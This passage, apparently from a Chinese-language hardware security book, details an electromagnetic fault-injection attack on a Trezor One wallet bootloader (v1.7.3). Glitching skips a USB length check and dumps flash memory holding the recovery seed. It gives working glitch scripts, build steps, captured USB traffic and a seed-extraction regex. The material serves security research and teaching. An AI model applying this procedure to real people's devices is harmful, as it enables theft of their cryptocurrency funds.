#define FLASH_APP_START      (FLASH_META_START + FLASH_META_LEN)
`--snip--`

列表 7-1:闪存空间中各个感兴趣项目的位置

FLASH_META_START 地址位于引导加载程序部分的末尾。通过按住 Trezor 前面的两个按钮,你可以进入引导加载程序,这样就可以通过 USB 加载固件更新。由于恶意固件更新可能会简单地读取元数据,引导加载程序会验证固件更新中是否存在各种签名,以防止此类攻击。使用故障注入加载未经验证的固件是一种攻击方法,但这并不是我们将要使用的方法。所有这些攻击的问题在于,Trezor 会在加载并验证新文件之前擦除闪存,并在此过程中将敏感元数据存储在 SRAM 中。wallet.fail 的披露实际上攻击了这个过程,因为有可能通过故障操作将 STM32 从代码读保护级别 RDP2(完全禁用 JTAG)切换到级别 RDP1(使 JTAG 能够从 SRAM 中读取,但不能读取代码)。

如果我们的攻击破坏了 SRAM(或需要重新启动来恢复错误状态),执行该擦除操作是非常危险的。wallet.fail 攻击能够恢复 SRAM,但我们将使用的攻击方法可能会破坏 SRAM,这意味着任何错误都会永久销毁恢复种子。相反,我们将尝试直接读取闪存,这样更安全,因为我们确保不会执行擦除命令,意味着数据安全地存储在内存中,等待我们提取。

USB 读取请求故障

由于引导加载程序支持 USB,因此它还包含非常标准的 USB 处理代码。列表 7-2 显示了其中的一部分,这来自 Trezor 固件源代码树中的 winusb.c 文件。我们选择这个特定的“控制厂商请求”函数,因为它通过 USB 发送“guid”。

static int winusb_control_vendor_request(usbd_device *usbd_dev,
                                   struct usb_setup_data *req,
                                   uint8_t **buf, uint16_t *len,
                                   usbd_control_complete_callback* complete) {
  (void)complete;
  (void)usbd_dev;

  if (req->bRequest != WINUSB_MS_VENDOR_CODE) {
    return USBD_REQ_NEXT_CALLBACK;
  }

  int status = USBD_REQ_NOTSUPP;
  if (((req->bmRequestType & USB_REQ_TYPE_RECIPIENT) == USB_REQ_TYPE_DEVICE) &&
     (req->wIndex == WINUSB_REQ_GET_COMPATIBLE_ID_FEATURE_DESCRIPTOR))
  {
       *buf = (uint8_t*)(&winusb_wcid);
       *len = MIN(*len, winusb_wcid.header.dwLength);
       status = USBD_REQ_HANDLED;

  } else if (((req->bmRequestType & USB_REQ_TYPE_RECIPIENT) ==
             USB_REQ_TYPE_INTERFACE) &&
       (req->wIndex == WINUSB_REQ_GET_EXTENDED_PROPERTIES_OS_FEATURE_DESCRIPTOR)
      && (usb_descriptor_index(req->wValue) ==
          winusb_wcid.functions[0].bInterfaceNumber))
  {
        *buf = (uint8_t*)(&guid);
      1 *len = MIN(*len, guid.header.dwLength);
        status = USBD_REQ_HANDLED;

 } else {
        status = USBD_REQ_NOTSUPP;
  }

  return status;
}

列表 7-2:我们尝试故障的 WinUSB 控制请求函数

控制请求函数首先检查有关 USB 请求的一些信息。它会查找匹配的bRequestbmRequestTypewIndex,这些都是 USB 请求的属性。最后,原始的 USB 请求本身包含一个wLength字段,表示计算机请求返回的数据量。这作为*len参数从清单 7-2 传入函数。(细心的观察者还会注意到清单 7-2 中的dwLength结构成员,其功能完全不同:dwLength是根据设备中编程的描述符确定的可返回数据的大小。)我们可以自由地请求最多0xFFFF字节的数据,这正是我们将要做的。但是,代码会执行MIN()操作 1,将实际发送回计算机的数据长度限制为请求长度和我们将返回的描述符大小中的较小者。计算机始终可以请求比描述符大小更小的数据量,但如果请求的数据量大于设备所拥有的(也就是请求的响应大小大于描述符的长度),设备会只发送有效数据。

如果对wLengthMIN()调用返回错误的值,会发生什么?虽然代码会按预期返回描述符,但它也会将描述符后的所有数据一直发送到从描述符起始位置的偏移0xFFFF。之所以会发生这种情况,是因为MIN()调用确保用户请求只允许读取有效内存,但如果MIN()调用返回错误的值,那么就意味着用户请求可以读取比预期更多的内存。这个“比预期更多”的内存区域包括了我们宝贵的元数据。USB 堆栈并不知道这些数据不应该被返回。USB 堆栈只是简单地按照计算机的请求发送数据块。整个系统的安全性仅依赖于一个简单的长度检查。

这是我们的计划:我们将使用故障注入绕过依赖于单条指令的检查 1。我们利用引导加载程序(和“guid”)位于内存中低于敏感恢复种子位置的事实。我们计划通过从低地址读取到高地址的方式转储内存,因此只有在攻击引导加载程序中的 USB 代码时,攻击才可能成功。如果我们攻击常规应用程序中的 USB 代码,而该应用程序位于FLASH_APP_START,那么很可能有趣的部分已经指向超出了敏感的FLASH_META_START区域(请参见清单 7-1)。

在我们深入执行实际故障的细节之前,让我们先对我们的说法进行一些合理性检查。你可以在自己的代码中使用这些检查来帮助理解类似漏洞的影响。

反汇编代码

第一个健全性检查是确认简单的故障是否能够导致我们预期的操作。我们可以通过检查 Trezor 固件的反汇编代码来轻松完成这一点,使用交互式反汇编器(IDA),它显示了汇编代码的分解(来自清单 7-2),如图 7-2 所示。

f07002

图 7-2:可能的故障注入位置示例

wLength 的传入值被存储在 R1 中,并且在反汇编中,R10x92 进行比较。如果它更大,则通过条件移动指令(Arm 汇编中的 MOVCS)将其设置为 0x92。这些汇编语句是 C 源代码中对 MIN(*len, guid.header.dwLength) 调用的实现,来源于清单 7-2。由于我们在反汇编中可以观察到的代码流程,我们只需要跳过 MOVCS 指令,就能实现接受用户提供的 wLength 字段的目标。

第二个健全性检查是确认没有更高层的保护存在。例如,也许 USB 堆栈实际上不接受如此大的响应,因为没有真正的需求这样做。确认这一点稍微难以通过简单检查完成,但 Trezor 的开源特性使得这一点成为可能。我们可以简单地修改代码,注释掉安全检查,然后验证我们是否可以请求大量内存。如果你不想重新编译代码,但有调试器访问权限,你也可以使用附加的调试器在 MOVCS 指令上设置断点,并切换标志的状态或操作程序计数器以绕过该指令。

验证此健全性检查与实际攻击的方式相同。我们将在接下来的章节中详细说明所有细节。目前,我们只展示没有其他障碍阻止通过控制请求发送大型缓冲区。攻击代码发送一个 0xFFFF 长度的请求。图 7-3 显示了使用 Total Phase Beagle USB 480 捕获的 USB 流量。当我们不修改 MOVCS 指令时,USB 请求返回预期的 146 字节(0x92)长度,显示在索引 3、索引 24 和索引 45。

f07003

图 7-3:禁用长度检查后捕获的 USB 流量

修改指令(或使用调试器手动清除比较标志)来绕过此检查,结果是返回完整大小的响应,因为索引 66 的长度是 65535,或 0xFFFF。这表明不存在任何隐藏的功能,根本不会阻止攻击的成功。

构建固件并验证故障

我们大致会遵循 Trezor 开发者指南中关于构建 Trezor 固件的文档,该文档可在 Trezor Wiki 上找到 (wiki.trezor.io/)。以下是具体步骤:

  1. 克隆生产固件并检查已知的易受攻击版本。

  2. 构建不带内存保护的固件。

  3. 编程并测试设备。

  4. 编辑固件以删除 USB 长度检查并尝试我们的攻击。

图 7-4 显示了一个附加了 JTAG 调试器的 Trezor。这台 Trezor 是一个生产单元,已更换主芯片。

f07004

图 7-4:一台生产 Trezor,已通过更换 STM32F205 为新设备来启用 JTAG 端口

我们使用了 SEGGER J-Link 作为调试器,但 ST-Link/V2 也可以使用,而且成本更低。Trezor 板的原理图可以在 Trezor 硬件的 GitHub 仓库中找到,github.com/trezor/trezor-hardware/tree/master/electronics/trezor_one/,该仓库详细说明了板上的测试点引脚排列。

由于我们以这种方式构建的固件都是未签名的,Trezor 将阻止我们从未签名的固件重新编程引导加载程序。这意味着完全构建最终固件是没有意义的,因为这意味着我们需要重写引导加载程序。列表 7-3 展示了保护引导加载程序的代码部分。

jump:jump_to_firmware(const vector_table_t *ivt, int trust) {
  if (FW_SIGNED == trust) {    // trusted signed firmware
    SCB_VTOR = (uint32_t)ivt;  // * relocate vector table
    // Set stack pointer
    __asm__ volatile("msr msp, %0" ::"r"(ivt->initial_sp_value));
  } else {  // untrusted firmware
    timer_init();
    mpu_config_firmware();  // * configure MPU for the firmware
    __asm__ volatile("msr msp, %0" ::"r"(_stack));
  }

列表 7-3:引导加载程序禁用应用程序覆盖自己以防止不受信任固件的能力(摘自util.h

如果加载了不受信任的固件,内存保护单元将配置为禁用对闪存中引导加载程序部分的访问。如果列表 7-3 中的代码没有出现,我们本可以使用自定义应用程序代码构建来加载我们想要评估的引导加载程序。

构建引导加载程序的前几个步骤很简单(见列表 7-4),大致遵循文档。你需要在 Linux 机器或 Linux 虚拟机上执行这些操作;我们的示例基于 Ubuntu。我们只构建引导加载程序本身,因为漏洞就存在于这里。此构建序列避免了一些构建完整应用程序(主要是protobuf)所需的依赖项,这些依赖项的安装可能稍微麻烦一些。

**sudo apt install git make gcc-arm-none-eabi protobuf-compiler python3 python3-pip**
**git clone --recursive https://github.com/trezor/trezor-mcu.git**
**cd trezor-mcu**
**git checkout v1.7.3**
**make vendor**
**make -C vendor/nanopb/generator/proto**
**make -C vendor/libopencm3 lib/stm32/f2**
**make MEMORY_PROTECT=0 && make -C bootloader align MEMORY_PROTECT=0**

列表 7-4:为 Trezor 1.7.3 设置和构建引导加载程序

你可能需要做一些额外的调整来使其工作。根据编译器的不同,引导加载程序可能会变得太大,此时export CFLAGS=-Os可以提供帮助。如果这样做有效,你将生成一个名为bootloader/bootloader.elf的文件。

包含MEMORY_PROTECT=0的这一行对调试至关重要。如果你拼写错误(或忘记)这一行,一些内存保护逻辑将被启用。内存保护的一项功能是锁定 JTAG,使得未来无法使用。为了避免未来的错误,我们建议编辑memory.c文件,并立即从第 30 行的memory_protect()函数返回。如果你在没有禁用内存保护的情况下编程并运行引导加载程序,你将立即失去重新编程或调试芯片的能力(永久性)。编辑该文件将防止你在需要更换板上芯片时感到非常不开心。

Makefile 文件构建了一个小型库,其中包含了内存保护逻辑。为了避免忘记重新构建该库,我们建议在 清单 7-3 中将两条命令写在一行中。这也将构建包含我们要验证代码的 winusb.c 文件。

接下来怎么办?你现在可以使用编程器加载固件代码。我们使用的是 ST-Link/V2。编程代码之前,再次确认你已经禁用了此构建中的内存保护代码。图 7-4 再次显示了 JTAG 的物理连接。你需要 ST-Link/V2 的编程软件;在 Windows 上,这是 ST 提供的 STM32 ST-LINK 工具,而在 Mac 或 Linux 上,你可以构建开源的 stlink 工具。

下一步是保持引导加载程序模式并发送一些有趣的 USB 请求。为此,插入设备时按住两个按钮进入引导加载程序模式。如果你使用的是带有 LCD 屏幕的设备(本实验不要求),你将看到引导加载程序模式显示在屏幕上。

接下来,你将使用 Python 和 PyUSB,你可以通过 pip install pyusb 命令来安装它。

在 Linux 上,你应该能够直接与 Trezor 设备通信。目标是运行 清单 7-5 中的 Python 代码,它会打印出已读取 146 字节的消息。你可能需要为 Trezor 设备设置 udev 规则(或者以 root 权限运行脚本)。

直接使用类似 Unix 的系统将提供最可靠的结果。如果在 Windows 上发生过多异常事件,USB 端口通常会被禁用,这会使我们的研究尝试变得复杂。

清单 7-5 假设你使用的是 Linux。

import usb.core
import time

dev = usb.core.find(idProduct=0x53c0)
dev.set_configuration()

#Get WinUSB GUID structure
resp = dev.ctrl_transfer(0xC1, 0x21, wValue=0, wIndex=0x05, data_or_wLength=0x1ff)
resp = list(resp)

print(len(resp))

清单 7-5:尝试读取 USB 描述符

data_or_wLength 变量请求了 0x1ff(511)字节,但实际上应该返回的是 146 字节,因为那是描述符的长度。你可以尝试请求更多的数据。你可能会注意到,在某个时刻,操作系统会返回一个“无效参数”错误。理论上,在某些系统上,我们可以请求最多 0xFFFF 字节,但许多操作系统并不允许你请求这么高的数值。当你准备进行故障注入时,你需要确保请求不会被操作系统自己终止,因此要找到你设置的上限。

你可能还需要通过附加 timeout=50 参数来增加 清单 7-5 中 dev.ctrl_transfer() 调用的超时。控制请求通常会非常迅速地返回,但如果你成功地读取了大块数据,默认的超时可能太短。

USB 触发与定时

在我们插入故障之前,需要知道何时插入故障。我们知道我们想要故障目标的确切指令,也知道我们通过 USB 发送的命令。然而,我们需要做得更好,以便在确切的指令上定位故障。在我们的案例中,由于我们可以访问软件,我们将在第一次测试中“作弊”,并测量实际执行时间。如果没有这种能力,我们将会遇到一个更慢的过程,或者需要通过反复试验强行找出正确的时机。

首先,我们需要获得 USB 数据本身的更稳定触发。经典方法是使用像 Total Phase Beagle USB 480 这样的设备,它可以基于通过 USB 线传输的物理数据进行触发。图 7-5 展示了这个设置。

f07005

图 7-5: 触发 WinUSB 消息的设置

Total Phase Beagle USB 480 还具有一个漂亮的嗅探器界面,因此我们可以嗅探流量,更好地理解返回的(格式错误的)数据包。这个功能非常有用,因为我们可以看到,例如,USB 请求的确切部分被中断/损坏,这可能为我们提供一些线索,帮助我们判断程序执行到代码的哪一部分。

如果你没有 Beagle,Micah Scott 开发了一个简单的模块,叫做 FaceWhisperer,它可以进行实时故障注入,并且可以在 GitHub 上找到(github.com/scanlime/facewhisperer/)。它使用 USB 进行故障触发,并已与电压故障结合使用,用于从绘图板提取固件。Great Scott Gadgets 的 Kate Temkin 也开发了多个工具,包括 GreatFET 的附加模块以及各种 USB 工具,如 LUNA。我们使用的是 Colin 开发的工具——PhyWhisperer-USB。

开源的 PhyWhisperer-USB 旨在根据特定数据包执行 USB 触发。Trezor USB 数据通过 PhyWhisperer-USB 传输,从而使计算机仍然可以向 Trezor 设备发送实际的 USB 消息。

PhyWhisperer-USB 通过 Python 程序(或 Jupyter 笔记本)使用。Listing 7-6 展示了初始设置,简单地连接到 PhyWhisperer-USB。

import phywhisperer.usb as pw
import time
phy = pw.Usb()
phy.con()
phy.set_power_source("off")
time.sleep(0.5)
phy.reset_fpga()
phy.set_power_source("host")
#Let device enumerate
time.sleep(1.0)

Listing 7-6: PhyWhisperer-USB 设置

该设置要求你按住 Trezor 上的按钮,以确保它以引导加载程序模式启动。此脚本通过电源循环目标设备,以便 PhyWhisperer-USB 可以通过观察枚举序列来匹配 USB 速度。

每次我们想要触发时,我们都会设置触发器并使 PhyWhisperer-USB 处于准备状态,如 Listing 7-7 所示。

#Configure pattern for request we want, arm
phy.set_pattern(pattern=[0xC1, 0x21], mask=[0xff, 0xff])
phy.set_trigger(delays=[0])
phy.arm()

Listing 7-7: 基于我们发送请求的触发器

在这里,我们根据我们发送的请求来设置触发器(如 列表 7-5 所示)。我们可以在主机系统上运行 列表 7-5 中的代码,这将启动我们在 Trezor 上的 列表 7-2 中想要攻击的代码。PhyWhisperer-USB 上的 Trig Out 连接器将发出一个短暂的触发脉冲,该脉冲与 USB 请求通过电缆的时刻一致。

稍后,在故障攻击过程中,我们将使用 PhyWhisperer-USB 来确定 USB 请求与我们想要攻击的特定指令之间的时间间隔。在 USB 请求触发代码执行之后,会有一小段时间才会执行实际的目标指令。调整 set_trigger() 参数可以让我们将触发输出推迟到稍后的时间点,以便将故障的时机与目标指令对齐。

PhyWhisperer-USB 的优势在于我们还可以监视 USB 流量。USB 数据捕获从触发开始;我们使用 列表 7-8 中的代码从 PhyWhisperer-USB 中读取数据。

raw = phy.read_capture_data()
phy.addpattern = True
packets = phy.split_packets(raw)
phy.print_packets(packets)

列表 7-8:从 PhyWhisperer-USB 读取 USB 数据的代码

列表 7-9 显示了捕获结果,这对于观察是否使用了正确的触发数据包以及是否抛出了 USB 错误非常有用。

[      ]   0.000000 d=  0.000000 [   .0 +  0.017] [ 10] Err - bad PID of 01
[      ]   0.000006 d=  0.000006 [   .0 +  5.933] [  1] ACK
[      ]   0.000013 d=  0.000007 [   .0 + 12.933] [  3] IN   : 41.0
[      ]   0.000016 d=  0.000003 [   .0 + 16.350] [ 67] DATA1: 92 00 00 00 00 01 05 00 01 00 88 00 00 00 07 00 00 00 2a 00 44 00 65 00 76 00 69 00 63 00 65 00 49 00 6e 00 74 00 65 00 72 00 66 00 61 00 63 00 65 00 47 00 55 00 49 00 44 00 73 00 00 00 50 00 52 11
[      ]   0.000062 d=  0.000046 [   .0 + 62.350] [  1] ACK
[      ]   0.000064 d=  0.000002 [   .0 + 64.267] [  3] IN   : 41.0
[      ]   0.000068 d=  0.000003 [   .0 + 67.600] [ 67] DATA0: 00 00 7b 00 30 00 32 00 36 00 33 00 62 00 35 00 31 00 32 00 2d 00 38 00 38 00 63 00 62 00 2d 00 34 00 31 00 33 00 36 00 2d 00 39 00 36 00 31 00 33 00 2d 00 35 00 63 00 38 00 65 00 31 00 30 00 2d a6
[      ]   0.000114 d=  0.000046 [   .0 +113.600] [  1] ACK
[      ]   0.000149 d=  0.000036 [168   +  3.250] [  3] IN   : 41.0
[      ]   0.000153 d=  0.000003 [168   +  6.667] [ 21] DATA1: 39 00 64 00 38 00 65 00 66 00 35 00 7d 00 00 00 00 00 e7 b2
[      ]   0.000168 d=  0.000015 [168   + 22.000] [  1] ACK
[      ]   0.000174 d=  0.000006 [168   + 28.000] [  3] OUT  : 41.0
[      ]   0.000177 d=  0.000003 [168   + 31.250] [  3] DATA1: 00 00
[      ]   0.000181 d=  0.000003 [168   + 34.500] [  1] ACK

列表 7-9:运行 列表 7-8 中代码的输出

请注意,由于捕获在控制包的中途开始,第一行中出现了 Err - bad PID of 01 错误。调整触发模式以包括完整的数据包将防止此错误。对于我们这里的攻击来说,这个错误无关紧要。

在自动化我们的故障攻击时,我们可以检测到不是预期效果的故障(例如读取过多数据),但仍然会破坏 USB 数据或导致错误。知道这些错误的时机是有用的信息。例如,如果我们看到错误发生在已经返回 USB 数据之后,我们就知道我们的故障发生得太晚,效果不佳。

一旦我们基于 USB 请求设置了“通过电缆”传输的触发器,我们还会通过在 Trezor 上设置一个 I/O 引脚为高电平来插入第二个触发器,当敏感代码运行时触发该引脚。我们使用它来表征时序,因为我们可以使用示波器测量从 USB 数据包传输到电缆到敏感代码执行之间的时间。

我们可以通过检查 Trezor 板的原理图来找到一个有用的备用 I/O 引脚;在我们的案例中,我们找到了 v1.1 的原理图,链接为 github.com/trezor/trezor-hardware/blob/master/electronics/trezor_one/trezor_v1.1.sch.png。我们看到来自 K2 接口的 SWO 引脚(在 图 7-1 中可见)被接到 I/O 引脚 PB3。如果 Trezor 在比较操作过程中能够切换 PB3,那么这将为故障注入提供有用的时序信息。这样可以避免我们需要扫描一个较大的时间范围。清单 7-10 显示了如何在 Trezor 的 STM32F215 上执行 GPIO 切换的简单示例。

//Add this at top of winusb.c
#include <libopencm3/stm32/gpio.h>

//Somewhere we want to make a trigger:
gpio_mode_setup(GPIOB, GPIO_MODE_OUTPUT, GPIO_PUPD_NONE, GPIO3);
gpio_set(GPIOB, GPIO3);
gpio_clear(GPIOB, GPIO3);

清单 7-10:切换 PB3,PB3 引脚连接到 K2 接口上的 SWO 引脚

如果我们将 清单 7-10 中的代码插入到我们希望故障的地方,重建引导加载程序,然后运行该代码,我们应该会在 SWO 引脚上获得一个短脉冲,供我们进行时序控制。再次提醒,为了执行此评估,你需要一台已经被破解以允许重新编程的 Trezor。

在这种情况下,PhyWhisperer-USB 触发器与 Trezor 触发器之间的时间大约为 4.2 到 5.5 微秒。这并不是完美的时序,因为似乎存在由于 USB 包被队列处理而产生的抖动。看到这样的抖动告诉我们,在进行故障注入时,我们不应期望实现完美的可靠性。然而,它为我们提供了一个时间范围,我们可以在其中调整时序参数。

通过外壳进行故障注入

在这一节中,我们将从目标的探索阶段进入实际故障注入的阶段。

设置

为了插入故障,我们的设置(如 图 7-6 所示)包括将 ChipSHOUTER EMFI 工具安装在手动 XY 工作台上,以便精确定位线圈。Trezor 目标也安装在 XY 工作台上,PhyWhisperer-USB 通过内部开关提供触发和目标电源控制。电源控制功能很有用,因为我们可以在目标崩溃时重置它。电源控制是故障注入专用设备的常见功能,但像 Beagle USB 480 这样的通用工具却没有此功能。

Trezor 安装的物理“夹具”按下了两个前面板按钮,确保它在启动时始终进入引导加载程序模式。

f07006

图 7-6:完整设置,包含 Trezor(中)、ChipSHOUTER(左)和 PhyWhisperer-USB(右)

回顾故障注入的代码

清单 7-11 和 7-12 中的脚本(为可读性分割)允许我们对设备进行电源循环,发出 WinUSB 请求,并基于 PhyWhisperer-USB 中检测到的 WinUSB 请求触发 ChipSHOUTER。

#PhyWhisperer-USB Setup
import time
import usb.core
import phywhisperer.usb as pw
phy = pw.Usb()
phy.con()

delay_start = phy.us_trigger(1.0) # Start at 1us from trigger
delay_end = phy.us_trigger(5.5) # Sweep to 5.5us from trigger

delay = delay_start
go = True

golden_valid = False

#Re-init power cycles the target when it’s fully crashed
1 def reinit():
    phy.set_power_source("off") 
    time.sleep(0.25)
    phy.reset_fpga()
    phy.set_capture_size(500)
    phy.set_power_source("host")
    time.sleep(0.8)

fails = 0

清单 7-11:当 Trezor 处于引导加载程序模式时,简单的脚本部分 1,用于故障注入 Trezor 比特币钱包

在此设置中,我们使用了 PhyWhisperer-USB 目标设备的电源控制功能,正如reinit()函数 1 所示,当调用时会对目标进行电源循环。此功能在目标崩溃时执行错误恢复。一个更稳健的脚本可能会在每次尝试时都进行电源循环,但这里有一个权衡,因为电源循环是循环中最慢的操作。我们可以尝试通过仅在目标停止响应时进行电源循环来执行更快的故障循环,但这样做的权衡是我们无法保证每次设备都以相同的状态启动。

清单 7-12 显示了攻击的实际循环体。

while go:
    if delay > delay_end:
        print("New Loop Entered")
        delay = delay_start

    #Re-init on first run through (golden_valid is False) or if a number of fails
    if golden_valid is False or fails > 10:
        reinit()
        fails = 0
    phy.set_trigger(delays=[delay], widths=[12]) #12 is width of EMFI pulse 1
    phy.set_pattern(pattern=[0xC1, 0x21]) 2
    dev = None

    try:
        dev = usb.core.find(idProduct=0x53c0)
        dev.set_configuration() 3
    except:
        #If we fail multiple times, eventually triggers DUT power cycle
        fails += 1
        continue

    #Glitch only once we've recorded the 'golden sample' of expected output
    if golden_valid is True:
        phy.arm() 4
    time.sleep(0.1)

    resp = [0]
    try:
        resp = dev.ctrl_transfer(0xC1, 0x21, wValue=0, wIndex=0x05, data_or_wLength=0x1ff) 5
        resp = list(resp)

        if golden_valid is False:
            gold = resp[:] 6
            golden_valid = True

        if resp != gold:
            #Odd (but valid!) response
            print("Delay: %d"%delay)
            print("Length: %d"%len(resp))
            print("[", ", ".join("{:02x}".format(num) for num in resp), "]")
            raw = phy.read_capture_data() 7
            phy.addpattern = True
            packets = phy.split_packets(raw)
            phy.print_packets(packets)
 if len(resp) > 146:
            #Too-long response is desired result
            print(len(resp))
            go = False
            break

    except OSError: 8
        #OSError catches USBError, normally means device crashed
        reinit()

    delay += 1

    if (delay % 10) == 0:
        print(delay)

清单 7-12:一个简单脚本的第二部分,用于在 Trezor 比特币钱包处于引导加载程序模式时进行故障注入

触发输出相对于 USB 消息触发的实际时序和 EMFI 脉冲宽度已设置为 1。脉冲宽度(12)是通过前面讨论的技术发现的,主要是通过调整宽度,直到看到设备重置(可能是脉冲太宽!),然后再减少宽度,直到设备似乎快崩溃为止。我们通过寻找损坏的迹象而不是完全崩溃的设备来确认这个边界是成功的宽度。对于 Trezor,我们可以通过查看无效消息或显示某些错误消息来找到这一点。对于调节宽度,我们没有使用清单 7-12 中的循环。相反,我们会在设备启动时插入故障,当时它正在验证内部内存。如果签名检查失败,Trezor 会显示一条消息,我们可以利用这条消息来指示我们已经找到适用于我们 EMFI 工具的良好参数,这些参数将在此设备上引发故障。出现故障时签名检查失败,很可能意味着我们以某种方式影响了程序流程(足够干扰签名检查),但故障“强度”不够大,因此没有导致设备崩溃。

我们设置的触发条件消息模式是设置 2,它应与我们稍后发送给设备的 USB 请求相匹配。在每次迭代中,Trezor 引导加载程序会通过libusb调用dev.set_configuration() 3 重新连接,这也是错误处理的一部分。如果这一行抛出异常,很可能是因为主机的 USB 堆栈没有检测到设备。

注意libusb调用 3 后except块的静默错误抑制。此except块假设电源循环足以恢复目标,但如果主机 USB 堆栈崩溃,脚本会静默停止工作。如前所述,我们建议在裸机 Unix 系统上运行此脚本,因为 Windows 通常由于主机 USB 堆栈在几次快速断开/重新连接循环后阻塞设备而迅速导致问题。我们在虚拟机中也有类似的负面体验。

为了了解故障是否有任何影响,我们保留一个“黄金参考”作为预期的 USB 请求响应。实际的故障仅在arm()函数 4 被调用并且 USB 请求 5 之前插入。第一次执行时,当黄金参考被采集 6 时,arm()函数不会被调用,以确保我们捕获到无故障(“黄金”)输出。

有了这个黄金参考,我们现在可以标记任何异常响应。在故障注入期间发生的 USB 流量会被打印出来 7。这会下载当请求与设定的模式匹配时自动捕获的数据 2。

目前的代码只打印有效响应的信息。你可能还需要打印无效响应的 USB 捕获数据,以确定故障是否导致错误的插入。PhyWhisperer-USB 仍然会捕获无效数据。你需要将捕获和打印例程移到except OSError块中 8。任何错误都会使代码跳转到OSError异常块,因为 USB 栈不会返回部分或无效的数据。

运行代码

例如,列表 7-13 展示了 WinUSB 请求的黄金参考。

Length: 146
[ 92, 00, 00, 00, 00, 01, 05, 00, 01, 00, 88, 00, 00, 00, 07, 00, 00, 00, 2a, 00, 44, 00, 65, 00, 76, 00, 69, 00, 63, 00, 65, 00, 49, 00, 6e, 00, 74, 00, 65, 00, 72, 00, 66, 00, 61, 00, 63, 00, 65, 00, 47, 00, 55, 00, 49, 00, 44, 00, 73, 00, 00, 00, 50, 00, 00, 00, 7b, 00, 30, 00, 32, 00, 36, 00, 33, 00, 62, 00, 35, 00, 31, 00, 32, 00, 2d, 00, 38, 00, 38, 00, 63, 00, 62, 00, 2d, 00, 34, 00, 31, 00, 33, 00, 36, 00, 2d, 00, 39, 00, 36, 00, 31, 00, 33, 00, 2d, 00, 35, 00, 63, 00, 38, 00, 65, 00, 31, 00, 30, 00, 39, 00, 64, 00, 38, 00, 65, 00, 66, 00, 35, 00, 7d, 00, 00, 00, 00, 00 ]

列表 7-13:USB 事务的黄金参考

这个黄金参考是返回数据的值,因此任何不同的返回数据都预示着一个有趣(或有用)的故障。

列表 7-14 显示了我们在实验中观察到的一个可重复的条件。返回的数据(82 字节)比黄金参考的长度(146 字节)要短。

Delay: 1293
Length: 82
1 [ 00, 00, 7b, 00, 30, 00, 32, 00, 36, 00, 33, 00, 62, 00, 35, 00, 31, 00, 32, 
00, 2d, 00, 38, 00, 38, 00, 63, 00, 62, 00, 2d, 00, 34, 00, 31, 00, 33, 00, 36, 00, 2d, 00, 39, 00, 36, 00, 31, 00, 33, 00, 2d, 00, 35, 00, 63, 00, 38, 00, 65, 00, 31, 00, 30, 00, 39, 00, 64, 00, 38, 00, 65, 00, 66, 00, 35, 00, 7d, 00, 00, 00, 00, 00 ]
[      ]   0.000000 d=  0.000000 [   .0 +  0.017] [  3] Err - bad PID of 01
[      ]   0.000001 d=  0.000001 [   .0 +  1.200] [  1] ACK
[      ]   0.000029 d=  0.000028 [186   +  3.417] [  3] IN   : 6.0
[      ]   0.000032 d=  0.000003 [186   +  6.750] [ 67] DATA0: 92 00 00 00 00 01 05 00 01 00 88 00 00 00 07 00 00 00 2a 00 44 00 65 00 76 00 69 00 63 00 65 00 49 00 6e 00 74 00 65 00 72 00 66 00 61 00 63 00 65 00 47 00 55 00 49 00 44 00 73 00 00 00 50 00 52 11
[      ]   0.000078 d=  0.000046 [186   + 53.000] [  1] ACK
[      ]   0.000087 d=  0.000008 [186   + 61.417] [  3] IN   : 6.0
[      ]   0.000090 d=  0.000003 [186   + 64.750] [ 67] DATA1: 00 00 7b 00 30 00 32 00 36 00 33 00 62 00 35 00 31 00 32 00 2d 00 38 00 38 00 63 00 62 00 2d 00 34 00 31 00 33 00 36 00 2d 00 39 00 36 00 31 00 33 00 2d 00 35 00 63 00 38 00 65 00 31 00 30 00 2d a6
[      ]   0.000136 d=  0.000046 [186   +110.917] [  1] ACK
[      ]   0.000156 d=  0.000019 [186   +130.167] [  3] IN   : 6.0
[      ]   0.000159 d=  0.000003 [186   +133.500] [ 21] DATA0: 39 00 64 00 38 00 65 00 66 00 35 00 7d 00 00 00 00 00 e7 b2
[      ]   0.000174 d=  0.000016 [186   +149.000] [  1] ACK
[      ]   0.000183 d=  0.000009 [186   +157.583] [  3] OUT  : 6.0
[      ]   0.000186 d=  0.000003 [186   +161.000] [  3] DATA1: 00 00
[      ]   0.000190 d=  0.000003 [186   +164.250] [  1] ACK

列表 7-14:列出 7-11 和 7-12 的输出,前 64 个字节缺失

返回的数据只是黄金参考去掉前 64 个字节 1。看起来一个完整的 USB IN事务丢失了,这表明在这次故障注入过程中,整个 USB 数据传输被“跳过”了。由于这个传输没有标记为错误,USB 设备一定认为它应该只返回较短的数据长度。这样的故障很有趣,因为它证明了目标设备中程序流发生了变化,这值得注意,因为它表明我们的整体目标是合理的。再次注意到bad PID error,这是由于缺少 USB 数据包的第一部分;它只出现在第一个解码帧中,并不表示故障引起的错误。

确认转储

我们如何确认我们确实成功地进行了故障注入(并获得神奇的恢复种子)?最初,我们只是寻找一个“过长”的响应,并希望返回的内存区域包含恢复种子。因为秘密恢复种子是作为人类可读的字符串存储的,如果我们有二进制数据,我们只需对返回的内存运行 strings -a。由于我们在 Python 中实现攻击,我们可以使用 re(正则表达式)模块。假设我们有一个名为 resp 的数据列表(例如,来自列表 7-14),我们可以通过正则表达式简单地查找所有只包含字母或空格且长度为四个或更多的字符串,如列表 7-15 所示。

import re
re.findall(b"([a-zA-Z ]{4,})", bytearray(resp))

列表 7-15:一个“简单”的正则表达式,用于查找由四个或更多字母或空格组成的字符串

如果幸运的话,我们会得到返回数据中存在的字符串列表,如列表 7-16 所示。

b'WINUSB',
 b'TRZR',
 b'stor',
 b'exercise muscle tone skate lizard trigger hospital weapon volcano rigid veteran elite speak outer place logic old abandon aspect ski spare victory blast language',
 b'My Trezor',
 b'FjFS',
 b'XhYF',
 b'JFAF',
 b'FHDMD',

列表 7-16:恢复种子将是由 24 个英文单词组成的长字符串。

其中一个字符串应该是恢复种子,它将是由英文单词组成的长字符串。看到这个意味着攻击成功!

微调电磁脉冲

